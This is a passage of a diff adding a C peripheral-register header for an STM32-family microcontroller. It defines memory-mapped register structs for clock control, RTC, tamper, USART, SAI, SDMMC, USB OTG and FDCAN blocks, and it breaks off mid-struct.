internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ +} UCPD_TypeDef; + +/** + * @brief USB_OTG_Core_register + */ +typedef struct +{ + __IO uint32_t GOTGCTL; /*!< USB_OTG Control and Status Register, Address offset: 000h */ + __IO uint32_t GOTGINT; /*!< USB_OTG Interrupt Register, Address offset: 004h */ + __IO uint32_t GAHBCFG; /*!< Core AHB Configuration Register, Address offset: 008h */ + __IO uint32_t GUSBCFG; /*!< Core USB Configuration Register, Address offset: 00Ch */ + __IO uint32_t GRSTCTL; /*!< Core Reset Register, Address offset: 010h */ + __IO uint32_t GINTSTS; /*!< Core Interrupt Register, Address offset: 014h */ + __IO uint32_t GINTMSK; /*!< Core Interrupt Mask Register, Address offset: 018h */ + __IO uint32_t GRXSTSR; /*!< Receive Sts Q Read Register, Address offset: 01Ch */ + __IO uint32_t GRXSTSP; /*!< Receive Sts Q Read & POP Register, Address offset: 020h */ + __IO uint32_t GRXFSIZ; /*!< Receive FIFO Size Register, Address offset: 024h */ + __IO uint32_t DIEPTXF0_HNPTXFSIZ; /*!< EP0 / Non Periodic Tx FIFO Size Register, Address offset: 028h */ + __IO uint32_t HNPTXSTS; /*!< Non Periodic Tx FIFO/Queue Sts reg, Address offset: 02Ch */ + __IO uint32_t Reserved30[2]; /*!< Reserved, Address offset: 030h */ + __IO uint32_t GCCFG; /*!< General Purpose IO Register, Address offset: 038h */ + __IO uint32_t CID; /*!< User ID Register, Address offset: 03Ch */ + __IO uint32_t GSNPSID; /*!< USB_OTG core ID, Address offset: 040h */ + __IO uint32_t GHWCFG1; /*!< User HW config1, Address offset: 044h */ + __IO uint32_t GHWCFG2; /*!< User HW config2, Address offset: 048h */ + __IO uint32_t GHWCFG3; /*!< User HW config3, Address offset: 04Ch */ + __IO uint32_t Reserved6; /*!< Reserved, Address offset: 050h */ + __IO uint32_t GLPMCFG; /*!< LPM Register, Address offset: 054h */ + __IO uint32_t GPWRDN; /*!< Power Down Register, Address offset: 058h */ + __IO uint32_t GDFIFOCFG; /*!< DFIFO Software Config Register, Address offset: 05Ch */ + __IO uint32_t GADPCTL; /*!< ADP Timer, Control and Status Register, Address offset: 60Ch */ + __IO uint32_t Reserved43[39]; /*!< Reserved, Address offset: 058h */ + __IO uint32_t HPTXFSIZ; /*!< Host Periodic Tx FIFO Size Reg, Address offset: 100h */ + __IO uint32_t DIEPTXF[0x0F]; /*!< dev Periodic Transmit FIFO Address offset: 104h */ +} USB_OTG_GlobalTypeDef; + +/** + * @brief USB_OTG_device_Registers + */ +typedef struct +{ + __IO uint32_t DCFG; /*!< dev Configuration Register, Address offset: 800h */ + __IO uint32_t DCTL; /*!< dev Control Register, Address offset: 804h */ + __IO uint32_t DSTS; /*!< dev Status Register (RO), Address offset: 808h */ + uint32_t Reserved0C; /*!< Reserved, Address offset: 80Ch */ + __IO uint32_t DIEPMSK; /*!< dev IN Endpoint Mask, Address offset: 810h */ + __IO uint32_t DOEPMSK; /*!< dev OUT Endpoint Mask, Address offset: 814h */ + __IO uint32_t DAINT; /*!< dev All Endpoints Itr Reg, Address offset: 818h */ + __IO uint32_t DAINTMSK; /*!< dev All Endpoints Itr Mask, Address offset: 81Ch */ + uint32_t Reserved20; /*!< Reserved, Address offset: 820h */ + uint32_t Reserved9; /*!< Reserved, Address offset: 824h */ + __IO uint32_t DVBUSDIS; /*!< dev VBUS discharge Register, Address offset: 828h */ + __IO uint32_t DVBUSPULSE; /*!< dev VBUS Pulse Register, Address offset: 82Ch */ + __IO uint32_t DTHRCTL; /*!< dev threshold, Address offset: 830h */ + __IO uint32_t DIEPEMPMSK; /*!< dev empty msk, Address offset: 834h */ + __IO uint32_t DEACHINT; /*!< dedicated EP interrupt, Address offset: 838h */ + __IO uint32_t DEACHMSK; /*!< dedicated EP msk, Address offset: 83Ch */ + uint32_t Reserved40; /*!< dedicated EP mask, Address offset: 840h */ + __IO uint32_t DINEP1MSK; /*!< dedicated EP mask, Address offset: 844h */ + uint32_t Reserved44[15]; /*!< Reserved, Address offset: 844-87Ch */ + __IO uint32_t DOUTEP1MSK; /*!< dedicated EP msk, Address offset: 884h */ +} USB_OTG_DeviceTypeDef; + + +/** + * @brief USB_OTG_IN_Endpoint-Specific_Register + */ +typedef struct +{ + __IO uint32_t DIEPCTL; /*!< dev IN Endpoint Control Register, Address offset: 900h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 04h */ + __IO uint32_t DIEPINT; /*!< dev IN Endpoint Itr Register, Address offset: 900h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DIEPTSIZ; /*!< IN Endpoint Txfer Size Register, Address offset: 900h + (ep_num * 20h) + 10h */ + __IO uint32_t DIEPDMA; /*!< IN Endpoint DMA Address Register, Address offset: 900h + (ep_num * 20h) + 14h */ + __IO uint32_t DTXFSTS; /*!< IN Endpoint Tx FIFO Status Register, Address offset: 900h + (ep_num * 20h) + 18h */ + __IO uint32_t Reserved18; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 1Ch */ +} USB_OTG_INEndpointTypeDef; + +/** + * @brief USB_OTG_OUT_Endpoint-Specific_Registers + */ +typedef struct +{ + __IO uint32_t DOEPCTL; /*!< dev OUT Endpoint Control Register, Address offset: B00h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 04h */ + __IO uint32_t DOEPINT; /*!< dev OUT Endpoint Itr Register, Address offset: B00h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DOEPTSIZ; /*!< dev OUT Endpoint Txfer Size Register, Address offset: B00h + (ep_num * 20h) + 10h */ + __IO uint32_t DOEPDMA; /*!< dev OUT Endpoint DMA Address Register, Address offset: B00h + (ep_num * 20h) + 14h */ + __IO uint32_t Reserved18[2]; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 18h */ +} USB_OTG_OUTEndpointTypeDef; + +/** + * @brief USB_OTG_Host_Mode_Register_Structures + */ +typedef struct +{ + __IO uint32_t HCFG; /*!< Host Configuration Register, Address offset: 400h */ + __IO uint32_t HFIR; /*!< Host Frame Interval Register, Address offset: 404h */ + __IO uint32_t HFNUM; /*!< Host Frame Nbr/Frame Remaining, Address offset: 408h */ + uint32_t Reserved40C; /*!< Reserved, Address offset: 40Ch */ + __IO uint32_t HPTXSTS; /*!< Host Periodic Tx FIFO/ Queue Status, Address offset: 410h */ + __IO uint32_t HAINT; /*!< Host All Channels Interrupt Register, Address offset: 414h */ + __IO uint32_t HAINTMSK; /*!< Host All Channels Interrupt Mask, Address offset: 418h */ +} USB_OTG_HostTypeDef; + +/** + * @brief USB_OTG_Host_Channel_Specific_Registers + */ +typedef struct +{ + __IO uint32_t HCCHAR; /*!< Host Channel Characteristics Register, Address offset: 500h */ + __IO uint32_t HCSPLT; /*!< Host Channel Split Control Register, Address offset: 504h */ + __IO uint32_t HCINT; /*!< Host Channel Interrupt Register, Address offset: 508h */ + __IO uint32_t HCINTMSK; /*!< Host Channel Interrupt Mask Register, Address offset: 50Ch */ + __IO uint32_t HCTSIZ; /*!< Host Channel Transfer Size Register, Address offset: 510h */ + __IO uint32_t HCDMA; /*!< Host Channel DMA Address Register, Address offset: 514h */ + uint32_t Reserved[2]; /*!< Reserved, Address offset: 518h */ +} USB_OTG_HostChannelTypeDef; + +/** + * @brief FD Controller Area Network + */ +typedef struct +{ + __IO uint32_t CREL; /*!< FDCAN Core Release register, Address offset: 0x000 */ + __IO uint32_t ENDN; /*!< FDCAN Endian register, Address offset: 0x004 */ + uint32_t RESERVED1; /*!< Reserved, 0x008 */ + __IO uint32_t DBTP; /*!< FDCAN Data Bit Timing & Prescaler register, Address offset: 0x00C */ + __IO uint32_t TEST; /*!< FDCAN Test register, Address offset: 0x010 */ + __IO uint32_t RWD; /*!< FDCAN RAM Watchdog register, Address offset: 0x014 */ + __IO uint32_t CCCR; /*!< FDCAN CC Control register, Address offset: 0x018 */ + __IO uint32_t NBTP; /*!< FDCAN Nominal Bit Timing & Prescaler register, Address offset: 0x01C */ + __IO uint32_t TSCC; /*!< FDCAN Timestamp Counter Configuration register, Address offset: 0x020 */ + __IO uint32_t TSCV; /*!< FDCAN Timestamp Counter Value register, Address offset: 0x024 */ + __IO uint32_t TOCC; /*!< FDCAN Timeout Counter Configuration register, Address offset: 0x028 */ + __IO uint32_t TOCV; /*!< FDCAN Timeout Counter Value register, Address offset: 0x02C */ + uint32_t RESERVED2[4]; /*!< Reserved, 0x030 - 0x03C */ + __IO uint32_t ECR; /*!< FDCAN Error Counter register, Address offset: 0x040 */ + __IO uint32_t PSR; /*!< FDCAN Protocol Status register, Address offset: 0x044 */ + __IO uint32_t TDCR; /*!< FDCAN Transmitter Delay Compensation register, Address offset: 0x048 */ + uint32_t RESERVED3; /*!< Reserved, 0x04C */ + __IO uint32_t IR; /*!< FDCAN Interrupt register, Address offset: 0x050 */ + __IO uint32_t IE; /*!< FDCAN Interrupt Enable register, Address offset: 0x054 */ + __IO uint32_t ILS; /*!< FDCAN Interrupt Line Select register, Address offset: 0x058 */ + __IO uint32_t ILE; /*!< FDCAN Interrupt Line Enable register, Address offset: 0x05C */ + uint32_t RESERVED4[8]; /*!< Reserved, 0x060 - 0x07C */ + __IO uint32_t RXGFC; /*!< FDCAN Global Filter Configuration register, Address offset: 0x080 */ + __IO uint32_t XIDAM; /*!< FDCAN Extended ID AND Mask register, Address offset: 0x084 */ + __IO uint32_t HPMS; /*!< FDCAN High Priority Message Status register, Address offset: 0x088 */ + uint32_t RESERVED5; /*!< Reserved, 0x08C */ + __IO uint32_t RXF0S; /*!< FDCAN Rx FIFO 0 Status register, Address offset: 0x090 */ + __IO uint32_t RXF0A; /*!< FDCAN Rx FIFO 0 Acknowledge register, Address offset: 0x094 */ + __IO uint32_t RXF1S; /*!< FDCAN Rx FIFO 1 Status register, Address 